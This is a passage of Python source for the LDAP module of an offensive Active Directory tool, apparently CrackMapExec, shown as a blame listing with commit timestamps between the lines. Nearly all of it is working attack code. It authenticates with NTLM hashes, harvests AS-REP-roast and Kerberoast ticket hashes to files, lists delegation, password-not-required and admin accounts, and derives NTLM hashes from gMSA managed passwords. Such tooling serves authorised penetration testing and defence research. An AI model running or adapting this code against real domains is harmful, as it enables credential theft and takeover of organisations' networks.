self . logger . extra [ ' port ' ] = " 389 "
2020-06-22 10:25:32 +00:00
lmhash = ' '
nthash = ' '
#This checks to see if we didn't provide the LM Hash
if ntlm_hash . find ( ' : ' ) != - 1 :
lmhash , nthash = ntlm_hash . split ( ' : ' )
else :
nthash = ntlm_hash
self . hash = ntlm_hash
if lmhash : self . lmhash = lmhash
if nthash : self . nthash = nthash
self . username = username
self . domain = domain
2021-07-02 08:50:41 +00:00
2020-06-30 20:49:01 +00:00
if self . hash == ' ' and self . args . asreproast :
hash_TGT = KerberosAttacks ( self ) . getTGT_asroast ( self . username )
if hash_TGT :
self . logger . highlight ( u ' {} ' . format ( hash_TGT ) )
with open ( self . args . asreproast , ' a+ ' ) as hash_asreproast :
hash_asreproast . write ( hash_TGT + ' \n ' )
return False
2020-06-22 10:25:32 +00:00
try :
2022-09-19 10:02:58 +00:00
# Connect to LDAP
2023-02-05 10:43:12 +00:00
proto = " ldaps " if ( self . args . gmsa or self . args . port == 636 ) else " ldap "
2022-11-01 22:20:14 +00:00
self . ldapConnection = ldap_impacket . LDAPConnection ( proto + ' :// %s ' % self . target , self . baseDN )
2020-06-22 10:25:32 +00:00
self . ldapConnection . login ( self . username , self . password , self . domain , self . lmhash , self . nthash )
2021-07-02 08:50:41 +00:00
self . check_if_admin ( )
2022-09-19 10:02:58 +00:00
# Prepare success credential text
out = u ' {} \\ {} : {} {} ' . format ( domain ,
self . username ,
self . nthash if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ,
2021-10-16 19:37:06 +00:00
highlight ( ' ( {} ) ' . format ( self . config . get ( ' CME ' , ' pwn3d_label ' ) ) if self . admin_privs else ' ' ) )
self . logger . extra [ ' protocol ' ] = " LDAP "
2023-02-05 10:43:12 +00:00
self . logger . extra [ ' port ' ] = " 636 " if ( self . args . gmsa or self . args . port == 636 ) else " 389 "
2020-06-30 20:49:01 +00:00
self . logger . success ( out )
2021-01-21 08:47:45 +00:00
2022-02-06 12:33:49 +00:00
if not self . args . local_auth :
add_user_bh ( self . username , self . domain , self . logger , self . config )
2021-01-21 08:47:45 +00:00
if not self . args . continue_on_success :
return True
2020-06-22 10:25:32 +00:00
except ldap_impacket . LDAPSessionError as e :
if str ( e ) . find ( ' strongerAuthRequired ' ) > = 0 :
2020-06-30 20:49:01 +00:00
try :
# We need to try SSL
2022-11-01 22:20:14 +00:00
self . ldapConnection = ldap_impacket . LDAPConnection ( ' ldaps:// %s ' % self . target , self . baseDN )
2020-06-30 20:49:01 +00:00
self . ldapConnection . login ( self . username , self . password , self . domain , self . lmhash , self . nthash )
2022-09-19 10:02:58 +00:00
self . check_if_admin ( )
# Prepare success credential text
out = u ' {} \\ {} : {} {} ' . format ( domain ,
self . username ,
self . nthash if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ,
highlight ( ' ( {} ) ' . format ( self . config . get ( ' CME ' , ' pwn3d_label ' ) ) if self . admin_privs else ' ' ) )
2021-10-16 19:37:06 +00:00
self . logger . extra [ ' protocol ' ] = " LDAPS "
self . logger . extra [ ' port ' ] = " 636 "
2020-06-30 20:49:01 +00:00
self . logger . success ( out )
2022-09-19 10:02:58 +00:00
if not self . args . local_auth :
add_user_bh ( self . username , self . domain , self . logger , self . config )
2022-10-20 19:40:53 +00:00
if not self . args . continue_on_success :
return True
2020-06-30 20:49:01 +00:00
except ldap_impacket . LDAPSessionError as e :
2021-07-02 08:50:41 +00:00
errorCode = str ( e ) . split ( ) [ - 2 ] [ : - 1 ]
self . logger . error ( u ' {} \\ {} : {} {} ' . format ( self . domain ,
2020-06-30 20:49:01 +00:00
self . username ,
2022-02-07 21:19:46 +00:00
nthash if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ,
2021-07-02 08:50:41 +00:00
ldap_error_status [ errorCode ] if errorCode in ldap_error_status else ' ' ) ,
2023-02-05 10:43:12 +00:00
color = ' magenta ' if ( errorCode in ldap_error_status and errorCode != 1 ) else ' red ' )
2020-06-30 20:49:01 +00:00
else :
2021-07-02 08:50:41 +00:00
errorCode = str ( e ) . split ( ) [ - 2 ] [ : - 1 ]
self . logger . error ( u ' {} \\ {} : {} {} ' . format ( self . domain ,
self . username ,
2022-02-07 21:19:46 +00:00
nthash if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ,
2021-07-02 08:50:41 +00:00
ldap_error_status [ errorCode ] if errorCode in ldap_error_status else ' ' ) ,
2023-02-05 10:43:12 +00:00
color = ' magenta ' if ( errorCode in ldap_error_status and errorCode != 1 ) else ' red ' )
2020-06-22 10:25:32 +00:00
return False
2021-01-21 08:54:26 +00:00
except OSError as e :
2021-09-18 21:02:01 +00:00
self . logger . error ( u ' {} \\ {} : {} {} ' . format ( self . domain ,
2021-01-21 08:54:26 +00:00
self . username ,
2022-02-07 21:19:46 +00:00
nthash if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ,
2022-11-03 19:56:38 +00:00
" Error connecting to the domain, are you sure LDAP service is running on the target ? " ) )
2021-01-21 08:54:26 +00:00
return False
2020-06-22 10:25:32 +00:00
2020-06-19 13:20:22 +00:00
def create_smbv1_conn ( self ) :
try :
self . conn = SMBConnection ( self . host , self . host , None , 445 , preferredDialect = SMB_DIALECT )
self . smbv1 = True
except socket . error as e :
if str ( e ) . find ( ' Connection reset by peer ' ) != - 1 :
logging . debug ( ' SMBv1 might be disabled on {} ' . format ( self . host ) )
return False
except Exception as e :
logging . debug ( ' Error creating SMBv1 connection to {} : {} ' . format ( self . host , e ) )
return False
return True
2020-06-19 21:31:34 +00:00
def create_smbv3_conn ( self ) :
try :
self . conn = SMBConnection ( self . host , self . host , None , 445 )
self . smbv1 = False
except socket . error :
return False
except Exception as e :
logging . debug ( ' Error creating SMBv3 connection to {} : {} ' . format ( self . host , e ) )
return False
return True
def create_conn_obj ( self ) :
2022-03-06 15:59:31 +00:00
if not self . args . no_smb :
if self . create_smbv1_conn ( ) :
return True
elif self . create_smbv3_conn ( ) :
return True
return False
else :
2020-06-19 21:31:34 +00:00
return True
2022-11-01 22:20:14 +00:00
def get_sid ( self ) :
self . logger . highlight ( ' Domain SID {} ' . format ( self . sid_domain ) )
2021-07-02 08:50:41 +00:00
def sid_to_str ( self , sid ) :
try :
# revision
revision = int ( sid [ 0 ] )
# count of sub authorities
sub_authorities = int ( sid [ 1 ] )
# big endian
identifier_authority = int . from_bytes ( sid [ 2 : 8 ] , byteorder = ' big ' )
# If true then it is represented in hex
if identifier_authority > = 2 * * 32 :
identifier_authority = hex ( identifier_authority )
# loop over the count of small endians
sub_authority = ' - ' + ' - ' . join ( [ str ( int . from_bytes ( sid [ 8 + ( i * 4 ) : 12 + ( i * 4 ) ] , byteorder = ' little ' ) ) for i in range ( sub_authorities ) ] )
objectSid = ' S- ' + str ( revision ) + ' - ' + str ( identifier_authority ) + sub_authority
return objectSid
except Exception :
pass
return sid
def check_if_admin ( self ) :
# 1. get SID of the domaine
searchFilter = " (userAccountControl:1.2.840.113556.1.4.803:=8192) "
attributes = [ " objectSid " ]
resp = self . search ( searchFilter , attributes , sizeLimit = 0 )
answers = [ ]
2022-10-26 12:58:51 +00:00
if resp and self . password != ' ' and self . username != ' ' :
for attribute in resp [ 0 ] [ 1 ] :
if str ( attribute [ ' type ' ] ) == ' objectSid ' :
sid = self . sid_to_str ( attribute [ ' vals ' ] [ 0 ] )
2022-11-01 22:20:14 +00:00
self . sid_domain = ' - ' . join ( sid . split ( ' - ' ) [ : - 1 ] )
2022-10-26 12:58:51 +00:00
# 2. get all group cn name
2022-11-01 22:20:14 +00:00
searchFilter = " (|(objectSid= " + self . sid_domain + " -512)(objectSid= " + self . sid_domain + " -544)(objectSid= " + self . sid_domain + " -519)(objectSid=S-1-5-32-549)(objectSid=S-1-5-32-551)) "
2022-10-26 12:58:51 +00:00
attributes = [ " distinguishedName " ]
resp = self . search ( searchFilter , attributes , sizeLimit = 0 )
answers = [ ]
for item in resp :
if isinstance ( item , ldapasn1_impacket . SearchResultEntry ) is not True :
continue
for attribute in item [ ' attributes ' ] :
if str ( attribute [ ' type ' ] ) == ' distinguishedName ' :
answers . append ( str ( " (memberOf:1.2.840.113556.1.4.1941:= " + attribute [ ' vals ' ] [ 0 ] + " ) " ) )
# 3. get memeber of these groups
searchFilter = " (&(objectCategory=user)(sAMAccountName= " + self . username + " )(| " + ' ' . join ( answers ) + " )) "
attributes = [ " " ]
resp = self . search ( searchFilter , attributes , sizeLimit = 0 )
answers = [ ]
for item in resp :
if isinstance ( item , ldapasn1_impacket . SearchResultEntry ) is not True :
continue
if item :
self . admin_privs = True
2021-07-02 08:50:41 +00:00
2020-06-19 21:31:34 +00:00
def getUnixTime ( self , t ) :
t - = 116444736000000000
t / = 10000000
return t
2021-06-24 18:37:54 +00:00
def search ( self , searchFilter , attributes , sizeLimit = 0 ) :
2021-01-21 14:45:55 +00:00
try :
2022-10-26 12:58:51 +00:00
if self . ldapConnection :
logging . debug ( ' Search Filter= %s ' % searchFilter )
resp = self . ldapConnection . search ( searchFilter = searchFilter ,
attributes = attributes ,
2022-11-01 22:20:14 +00:00
sizeLimit = sizeLimit )
2022-10-26 12:58:51 +00:00
return resp
2021-01-21 14:45:55 +00:00
except ldap_impacket . LDAPSearchError as e :
if e . getErrorString ( ) . find ( ' sizeLimitExceeded ' ) > = 0 :
2021-07-02 08:50:41 +00:00
self . logger . error ( ' sizeLimitExceeded exception caught, giving up and processing the data received ' )
2021-01-21 14:45:55 +00:00
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
# paged queries
resp = e . getAnswers ( )
pass
else :
2021-07-02 08:50:41 +00:00
self . logger . error ( e )
2021-01-21 14:45:55 +00:00
return False
2022-10-26 12:58:51 +00:00
return False
2021-01-29 23:25:39 +00:00
def users ( self ) :
# Building the search filter
searchFilter = " (sAMAccountType=805306368) "
2021-10-16 15:41:04 +00:00
attributes = [ ' sAMAccountName ' , ' description ' , ' badPasswordTime ' , ' badPwdCount ' , ' pwdLastSet ' ]
2021-06-24 18:37:54 +00:00
resp = self . search ( searchFilter , attributes , sizeLimit = 0 )
if resp :
answers = [ ]
self . logger . info ( ' Total of records returned %d ' % len ( resp ) )
for item in resp :
if isinstance ( item , ldapasn1_impacket . SearchResultEntry ) is not True :
continue
sAMAccountName = ' '
badPasswordTime = ' '
badPwdCount = 0
2021-10-16 15:41:04 +00:00
description = ' '
pwdLastSet = ' '
2021-06-24 18:37:54 +00:00
try :
for attribute in item [ ' attributes ' ] :
if str ( attribute [ ' type ' ] ) == ' sAMAccountName ' :
sAMAccountName = str ( attribute [ ' vals ' ] [ 0 ] )
2021-10-16 15:41:04 +00:00
elif str ( attribute [ ' type ' ] ) == ' description ' :
description = str ( attribute [ ' vals ' ] [ 0 ] )
self . logger . highlight ( ' {:<30} {} ' . format ( sAMAccountName , description ) )
2021-06-24 18:37:54 +00:00
except Exception as e :
self . logger . debug ( ' Skipping item, cannot process due to error %s ' % str ( e ) )
pass
return
2021-01-21 14:45:55 +00:00
def groups ( self ) :
# Building the search filter
searchFilter = " (objectCategory=group) "
2021-10-16 15:41:04 +00:00
attributes = [ ' name ' ]
2021-06-24 18:37:54 +00:00
resp = self . search ( searchFilter , attributes , 0 )
if resp :
answers = [ ]
logging . debug ( ' Total of records returned %d ' % len ( resp ) )
for item in resp :
if isinstance ( item , ldapasn1_impacket . SearchResultEntry ) is not True :
continue
name = ' '
try :
for attribute in item [ ' attributes ' ] :
if str ( attribute [ ' type ' ] ) == ' name ' :
name = str ( attribute [ ' vals ' ] [ 0 ] )
2021-10-16 15:41:04 +00:00
self . logger . highlight ( ' {} ' . format ( name ) )
2021-06-24 18:37:54 +00:00
except Exception as e :
logging . debug ( " Exception: " , exc_info = True )
logging . debug ( ' Skipping item, cannot process due to error %s ' % str ( e ) )
pass
return
2021-01-21 14:45:55 +00:00
2020-06-19 21:31:34 +00:00
def asreproast ( self ) :
2020-06-30 20:49:01 +00:00
if self . password == ' ' and self . nthash == ' ' and self . kerberos == False :
2020-06-19 21:31:34 +00:00
return False
2020-06-19 13:20:22 +00:00
# Building the search filter
searchFilter = " (&(UserAccountControl:1.2.840.113556.1.4.803:= %d ) " \
" (!(UserAccountControl:1.2.840.113556.1.4.803:= %d ))(!(objectCategory=computer))) " % \
( UF_DONT_REQUIRE_PREAUTH , UF_ACCOUNTDISABLE )
2021-01-29 23:25:39 +00:00
attributes = [ ' sAMAccountName ' , ' pwdLastSet ' , ' MemberOf ' , ' userAccountControl ' , ' lastLogon ' ]
2021-06-24 18:37:54 +00:00
resp = self . search ( searchFilter , attributes , 0 )
2022-09-21 13:08:31 +00:00
if resp == [ ] :
self . logger . highlight ( " No entries found! " )
elif resp :
2021-06-24 18:37:54 +00:00
answers = [ ]
2021-07-02 08:50:41 +00:00
self . logger . info ( ' Total of records returned %d ' % len ( resp ) )
2021-06-24 18:37:54 +00:00
for item in resp :
if isinstance ( item , ldapasn1_impacket . SearchResultEntry ) is not True :
continue
mustCommit = False
sAMAccountName = ' '
memberOf = ' '
pwdLastSet = ' '
userAccountControl = 0
lastLogon = ' N/A '
try :
for attribute in item [ ' attributes ' ] :
if str ( attribute [ ' type ' ] ) == ' sAMAccountName ' :
sAMAccountName = str ( attribute [ ' vals ' ] [ 0 ] )
mustCommit = True
elif str ( attribute [ ' type ' ] ) == ' userAccountControl ' :
userAccountControl = " 0x %x " % int ( attribute [ ' vals ' ] [ 0 ] )
elif str ( attribute [ ' type ' ] ) == ' memberOf ' :
memberOf = str ( attribute [ ' vals ' ] [ 0 ] )
elif str ( attribute [ ' type ' ] ) == ' pwdLastSet ' :
if str ( attribute [ ' vals ' ] [ 0 ] ) == ' 0 ' :
pwdLastSet = ' <never> '
else :
pwdLastSet = str ( datetime . fromtimestamp ( self . getUnixTime ( int ( str ( attribute [ ' vals ' ] [ 0 ] ) ) ) ) )
elif str ( attribute [ ' type ' ] ) == ' lastLogon ' :
if str ( attribute [ ' vals ' ] [ 0 ] ) == ' 0 ' :
lastLogon = ' <never> '
else :
lastLogon = str ( datetime . fromtimestamp ( self . getUnixTime ( int ( str ( attribute [ ' vals ' ] [ 0 ] ) ) ) ) )
if mustCommit is True :
answers . append ( [ sAMAccountName , memberOf , pwdLastSet , lastLogon , userAccountControl ] )
except Exception as e :
logging . debug ( " Exception: " , exc_info = True )
logging . debug ( ' Skipping item, cannot process due to error %s ' % str ( e ) )
pass
if len ( answers ) > 0 :
for user in answers :
hash_TGT = KerberosAttacks ( self ) . getTGT_asroast ( user [ 0 ] )
self . logger . highlight ( u ' {} ' . format ( hash_TGT ) )
with open ( self . args . asreproast , ' a+ ' ) as hash_asreproast :
hash_asreproast . write ( hash_TGT + ' \n ' )
return True
else :
self . logger . highlight ( " No entries found! " )
return
2022-09-21 13:08:31 +00:00
else :
self . logger . error ( " Error with the LDAP account used " )
2020-06-19 13:20:22 +00:00
2020-06-19 21:31:34 +00:00
def kerberoasting ( self ) :
2020-06-19 13:20:22 +00:00
# Building the search filter
searchFilter = " (&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512) " \
" (!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer))) "
2021-01-29 23:25:39 +00:00
attributes = [ ' servicePrincipalName ' , ' sAMAccountName ' , ' pwdLastSet ' , ' MemberOf ' , ' userAccountControl ' , ' lastLogon ' ]
2021-06-24 18:37:54 +00:00
resp = self . search ( searchFilter , attributes , 0 )
2022-09-21 13:08:31 +00:00
if resp == [ ] :
self . logger . highlight ( " No entries found! " )
elif resp :
2021-06-24 18:37:54 +00:00
answers = [ ]
for item in resp :
if isinstance ( item , ldapasn1_impacket . SearchResultEntry ) is not True :
continue
mustCommit = False
sAMAccountName = ' '
memberOf = ' '
SPNs = [ ]
pwdLastSet = ' '
userAccountControl = 0
lastLogon = ' N/A '
delegation = ' '
2020-06-19 13:20:22 +00:00
try :
2021-06-24 18:37:54 +00:00
for attribute in item [ ' attributes ' ] :
if str ( attribute [ ' type ' ] ) == ' sAMAccountName ' :
sAMAccountName = str ( attribute [ ' vals ' ] [ 0 ] )
mustCommit = True
elif str ( attribute [ ' type ' ] ) == ' userAccountControl ' :
userAccountControl = str ( attribute [ ' vals ' ] [ 0 ] )
if int ( userAccountControl ) & UF_TRUSTED_FOR_DELEGATION :
delegation = ' unconstrained '
elif int ( userAccountControl ) & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION :
delegation = ' constrained '
elif str ( attribute [ ' type ' ] ) == ' memberOf ' :
memberOf = str ( attribute [ ' vals ' ] [ 0 ] )
elif str ( attribute [ ' type ' ] ) == ' pwdLastSet ' :
if str ( attribute [ ' vals ' ] [ 0 ] ) == ' 0 ' :
pwdLastSet = ' <never> '
else :
pwdLastSet = str ( datetime . fromtimestamp ( self . getUnixTime ( int ( str ( attribute [ ' vals ' ] [ 0 ] ) ) ) ) )
elif str ( attribute [ ' type ' ] ) == ' lastLogon ' :
if str ( attribute [ ' vals ' ] [ 0 ] ) == ' 0 ' :
lastLogon = ' <never> '
else :
lastLogon = str ( datetime . fromtimestamp ( self . getUnixTime ( int ( str ( attribute [ ' vals ' ] [ 0 ] ) ) ) ) )
elif str ( attribute [ ' type ' ] ) == ' servicePrincipalName ' :
for spn in attribute [ ' vals ' ] :
SPNs . append ( str ( spn ) )
if mustCommit is True :
if int ( userAccountControl ) & UF_ACCOUNTDISABLE :
logging . debug ( ' Bypassing disabled account %s ' % sAMAccountName )
else :
for spn in SPNs :
answers . append ( [ spn , sAMAccountName , memberOf , pwdLastSet , lastLogon , delegation ] )
2020-06-19 13:20:22 +00:00
except Exception as e :
2021-06-24 18:37:54 +00:00
logging . error ( ' Skipping item, cannot process due to error %s ' % str ( e ) )
pass
if len ( answers ) > 0 :
2022-10-22 20:38:29 +00:00
self . logger . info ( ' Total of records returned %d ' % len ( answers ) )
2021-06-24 18:37:54 +00:00
TGT = KerberosAttacks ( self ) . getTGT_kerberoasting ( )
2022-07-06 13:34:07 +00:00
dejavue = [ ]
2021-06-24 18:37:54 +00:00
for SPN , sAMAccountName , memberOf , pwdLastSet , lastLogon , delegation in answers :
2022-07-06 13:34:07 +00:00
if sAMAccountName not in dejavue :
2022-09-21 13:08:31 +00:00
downLevelLogonName = self . targetDomain + " \\ " + sAMAccountName
2022-07-06 13:34:07 +00:00
try :
2022-09-21 13:08:31 +00:00
principalName = Principal ( )
principalName . type = constants . PrincipalNameType . NT_MS_PRINCIPAL . value
principalName . components = [ downLevelLogonName ]
tgs , cipher , oldSessionKey , sessionKey = getKerberosTGS ( principalName , self . domain ,
2022-07-06 13:34:07 +00:00
self . kdcHost ,
TGT [ ' KDC_REP ' ] , TGT [ ' cipher ' ] ,
TGT [ ' sessionKey ' ] )
2022-09-21 13:08:31 +00:00
r = KerberosAttacks ( self ) . outputTGS ( tgs , oldSessionKey , sessionKey , sAMAccountName , self . targetDomain + " / " + sAMAccountName )
2022-07-06 13:34:07 +00:00
self . logger . highlight ( u ' sAMAccountName: {} memberOf: {} pwdLastSet: {} lastLogon: {} ' . format ( sAMAccountName , memberOf , pwdLastSet , lastLogon ) )
self . logger . highlight ( u ' {} ' . format ( r ) )
with open ( self . args . kerberoasting , ' a+ ' ) as hash_kerberoasting :
hash_kerberoasting . write ( r + ' \n ' )
dejavue . append ( sAMAccountName )
except Exception as e :
logging . debug ( " Exception: " , exc_info = True )
2022-09-21 13:08:31 +00:00
logging . error ( ' Principal: %s - %s ' % ( downLevelLogonName , str ( e ) ) )
2022-07-06 13:34:07 +00:00
return True
2021-06-24 18:37:54 +00:00
else :
self . logger . highlight ( " No entries found! " )
return
self . logger . error ( " Error with the LDAP account used " )
2020-06-19 13:20:22 +00:00
2020-06-20 09:56:55 +00:00
def trusted_for_delegation ( self ) :
2020-06-19 21:31:34 +00:00
# Building the search filter
searchFilter = " (userAccountControl:1.2.840.113556.1.4.803:=524288) "
2021-01-29 23:25:39 +00:00
attributes = [ ' sAMAccountName ' , ' pwdLastSet ' , ' MemberOf ' , ' userAccountControl ' , ' lastLogon ' ]
2021-06-24 18:37:54 +00:00
resp = self . search ( searchFilter , attributes , 0 )
2021-01-29 23:25:39 +00:00
2020-06-19 21:31:34 +00:00
answers = [ ]
logging . debug ( ' Total of records returned %d ' % len ( resp ) )
2020-06-19 13:20:22 +00:00
2020-06-19 21:31:34 +00:00
for item in resp :
if isinstance ( item , ldapasn1_impacket . SearchResultEntry ) is not True :
continue
mustCommit = False
sAMAccountName = ' '
memberOf = ' '
pwdLastSet = ' '
userAccountControl = 0
lastLogon = ' N/A '
try :
for attribute in item [ ' attributes ' ] :
if str ( attribute [ ' type ' ] ) == ' sAMAccountName ' :
sAMAccountName = str ( attribute [ ' vals ' ] [ 0 ] )
mustCommit = True
elif str ( attribute [ ' type ' ] ) == ' userAccountControl ' :
userAccountControl = " 0x %x " % int ( attribute [ ' vals ' ] [ 0 ] )
elif str ( attribute [ ' type ' ] ) == ' memberOf ' :
memberOf = str ( attribute [ ' vals ' ] [ 0 ] )
elif str ( attribute [ ' type ' ] ) == ' pwdLastSet ' :
if str ( attribute [ ' vals ' ] [ 0 ] ) == ' 0 ' :
pwdLastSet = ' <never> '
else :
pwdLastSet = str ( datetime . fromtimestamp ( self . getUnixTime ( int ( str ( attribute [ ' vals ' ] [ 0 ] ) ) ) ) )
elif str ( attribute [ ' type ' ] ) == ' lastLogon ' :
if str ( attribute [ ' vals ' ] [ 0 ] ) == ' 0 ' :
lastLogon = ' <never> '
else :
lastLogon = str ( datetime . fromtimestamp ( self . getUnixTime ( int ( str ( attribute [ ' vals ' ] [ 0 ] ) ) ) ) )
if mustCommit is True :
answers . append ( [ sAMAccountName , memberOf , pwdLastSet , lastLogon , userAccountControl ] )
except Exception as e :
logging . debug ( " Exception: " , exc_info = True )
logging . debug ( ' Skipping item, cannot process due to error %s ' % str ( e ) )
pass
if len ( answers ) > 0 :
logging . debug ( answers )
for value in answers :
self . logger . highlight ( value [ 0 ] )
2020-06-19 13:20:22 +00:00
else :
2020-06-19 21:31:34 +00:00
self . logger . error ( " No entries found! " )
return
2021-01-23 11:21:33 +00:00
def password_not_required ( self ) :
# Building the search filter
searchFilter = " (userAccountControl:1.2.840.113556.1.4.803:=32) "
try :
logging . debug ( ' Search Filter= %s ' % searchFilter )
resp = self . ldapConnection . search ( searchFilter = searchFilter ,
attributes = [ ' sAMAccountName ' ,
' pwdLastSet ' , ' MemberOf ' , ' userAccountControl ' , ' lastLogon ' ] ,
2021-06-24 18:37:54 +00:00
sizeLimit = 0 )
2021-01-23 11:21:33 +00:00
except ldap_impacket . LDAPSearchError as e :
if e . getErrorString ( ) . find ( ' sizeLimitExceeded ' ) > = 0 :
logging . debug ( ' sizeLimitExceeded exception caught, giving up and processing the data received ' )
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
# paged queries
resp = e . getAnswers ( )
pass
else :
return False
answers = [ ]
logging . debug ( ' Total of records returned %d ' % len ( resp ) )
for item in resp :
if isinstance ( item , ldapasn1_impacket . SearchResultEntry ) is not True :
continue
mustCommit = False
sAMAccountName = ' '
memberOf = ' '
pwdLastSet = ' '
userAccountControl = 0
status = ' enabled '
lastLogon = ' N/A '
try :
for attribute in item [ ' attributes ' ] :
if str ( attribute [ ' type ' ] ) == ' sAMAccountName ' :
sAMAccountName = str ( attribute [ ' vals ' ] [ 0 ] )
mustCommit = True
elif str ( attribute [ ' type ' ] ) == ' userAccountControl ' :
if int ( attribute [ ' vals ' ] [ 0 ] ) & 2 :
status = ' disabled '
userAccountControl = " 0x %x " % int ( attribute [ ' vals ' ] [ 0 ] )
elif str ( attribute [ ' type ' ] ) == ' memberOf ' :
memberOf = str ( attribute [ ' vals ' ] [ 0 ] )
elif str ( attribute [ ' type ' ] ) == ' pwdLastSet ' :
if str ( attribute [ ' vals ' ] [ 0 ] ) == ' 0 ' :
pwdLastSet = ' <never> '
else :
pwdLastSet = str ( datetime . fromtimestamp ( self . getUnixTime ( int ( str ( attribute [ ' vals ' ] [ 0 ] ) ) ) ) )
elif str ( attribute [ ' type ' ] ) == ' lastLogon ' :
if str ( attribute [ ' vals ' ] [ 0 ] ) == ' 0 ' :
lastLogon = ' <never> '
else :
lastLogon = str ( datetime . fromtimestamp ( self . getUnixTime ( int ( str ( attribute [ ' vals ' ] [ 0 ] ) ) ) ) )
if mustCommit is True :
answers . append ( [ sAMAccountName , memberOf , pwdLastSet , lastLogon , userAccountControl , status ] )
except Exception as e :
logging . debug ( " Exception: " , exc_info = True )
logging . debug ( ' Skipping item, cannot process due to error %s ' % str ( e ) )
pass
if len ( answers ) > 0 :
logging . debug ( answers )
for value in answers :
self . logger . highlight ( " User: " + value [ 0 ] + " Status: " + value [ 5 ] )
else :
self . logger . error ( " No entries found! " )
return
2020-06-19 13:20:22 +00:00
2020-06-19 21:31:34 +00:00
def admin_count ( self ) :
# Building the search filter
searchFilter = " (adminCount=1) "
2021-01-29 23:25:39 +00:00
attributes = [ ' sAMAccountName ' , ' pwdLastSet ' , ' MemberOf ' , ' userAccountControl ' , ' lastLogon ' ]
2021-06-24 18:37:54 +00:00
resp = self . search ( searchFilter , attributes , 0 )
2020-06-19 21:31:34 +00:00
answers = [ ]
logging . debug ( ' Total of records returned %d ' % len ( resp ) )
2020-06-19 13:20:22 +00:00
2020-06-19 21:31:34 +00:00
for item in resp :
if isinstance ( item , ldapasn1_impacket . SearchResultEntry ) is not True :
continue
mustCommit = False
sAMAccountName = ' '
memberOf = ' '
pwdLastSet = ' '
userAccountControl = 0
lastLogon = ' N/A '
2020-06-19 13:20:22 +00:00
try :
2020-06-19 21:31:34 +00:00
for attribute in item [ ' attributes ' ] :
if str ( attribute [ ' type ' ] ) == ' sAMAccountName ' :
sAMAccountName = str ( attribute [ ' vals ' ] [ 0 ] )
mustCommit = True
elif str ( attribute [ ' type ' ] ) == ' userAccountControl ' :
userAccountControl = " 0x %x " % int ( attribute [ ' vals ' ] [ 0 ] )
elif str ( attribute [ ' type ' ] ) == ' memberOf ' :
memberOf = str ( attribute [ ' vals ' ] [ 0 ] )
elif str ( attribute [ ' type ' ] ) == ' pwdLastSet ' :
if str ( attribute [ ' vals ' ] [ 0 ] ) == ' 0 ' :
pwdLastSet = ' <never> '
else :
pwdLastSet = str ( datetime . fromtimestamp ( self . getUnixTime ( int ( str ( attribute [ ' vals ' ] [ 0 ] ) ) ) ) )
elif str ( attribute [ ' type ' ] ) == ' lastLogon ' :
if str ( attribute [ ' vals ' ] [ 0 ] ) == ' 0 ' :
lastLogon = ' <never> '
else :
lastLogon = str ( datetime . fromtimestamp ( self . getUnixTime ( int ( str ( attribute [ ' vals ' ] [ 0 ] ) ) ) ) )
if mustCommit is True :
answers . append ( [ sAMAccountName , memberOf , pwdLastSet , lastLogon , userAccountControl ] )
2020-06-19 13:20:22 +00:00
except Exception as e :
2020-06-19 21:31:34 +00:00
logging . debug ( " Exception: " , exc_info = True )
logging . debug ( ' Skipping item, cannot process due to error %s ' % str ( e ) )
pass
if len ( answers ) > 0 :
logging . debug ( answers )
for value in answers :
self . logger . highlight ( value [ 0 ] )
2020-06-19 13:20:22 +00:00
else :
2020-06-19 21:31:34 +00:00
self . logger . error ( " No entries found! " )
2022-10-14 17:13:17 +00:00
return
def gmsa ( self ) :
self . logger . info ( " Getting GMSA Passwords " )
2022-10-19 09:48:22 +00:00
search_filter = ' (objectClass=msDS-GroupManagedServiceAccount) '
gmsa_accounts = self . ldapConnection . search ( searchFilter = search_filter ,
attributes = [ ' sAMAccountName ' , ' msDS-ManagedPassword ' , ' msDS-GroupMSAMembership ' ] ,
sizeLimit = 0 ,
searchBase = self . baseDN )
if gmsa_accounts :
answers = [ ]
logging . debug ( ' Total of records returned %d ' % len ( gmsa_accounts ) )
2022-10-14 17:13:17 +00:00
2022-10-19 09:48:22 +00:00
for item in gmsa_accounts :
if isinstance ( item , ldapasn1_impacket . SearchResultEntry ) is not True :
continue
sAMAccountName = ' '
2022-12-14 20:45:51 +00:00
passwd = ' '
2022-10-19 09:48:22 +00:00
for attribute in item [ ' attributes ' ] :
if str ( attribute [ ' type ' ] ) == ' sAMAccountName ' :
sAMAccountName = str ( attribute [ ' vals ' ] [ 0 ] )
if str ( attribute [ ' type ' ] ) == ' msDS-ManagedPassword ' :
data = attribute [ ' vals ' ] [ 0 ] . asOctets ( )
2022-10-14 17:13:17 +00:00
blob = MSDS_MANAGEDPASSWORD_BLOB ( )
blob . fromString ( data )
currentPassword = blob [ ' CurrentPassword ' ] [ : - 2 ]
ntlm_hash = MD4 . new ( )
ntlm_hash . update ( currentPassword )
passwd = hexlify ( ntlm_hash . digest ( ) ) . decode ( " utf-8 " )
2022-12-14 20:45:51 +00:00
self . logger . highlight ( " Account: {:<20} NTLM: {} " . format ( sAMAccountName , passwd ) )
2022-10-14 17:17:04 +00:00
return True
2022-12-14 20:45:51 +00:00
def decipher_gmsa_name ( self , domain_name = None , account_name = None ) :
# https://aadinternals.com/post/gmsa/
gmsa_account_name = ( domain_name + account_name ) . upper ( )
self . logger . debug ( f " GMSA name for { gmsa_account_name } " )
bin_account_name = gmsa_account_name . encode ( " utf-16le " )
bin_hash = hmac . new ( bytes ( ' ' , ' latin-1 ' ) , msg = bin_account_name , digestmod = hashlib . sha256 ) . digest ( )
hex_letters = " 0123456789abcdef "
str_hash = " "
for b in bin_hash :
str_hash + = hex_letters [ b & 0x0f ]
str_hash + = hex_letters [ b >> 0x04 ]
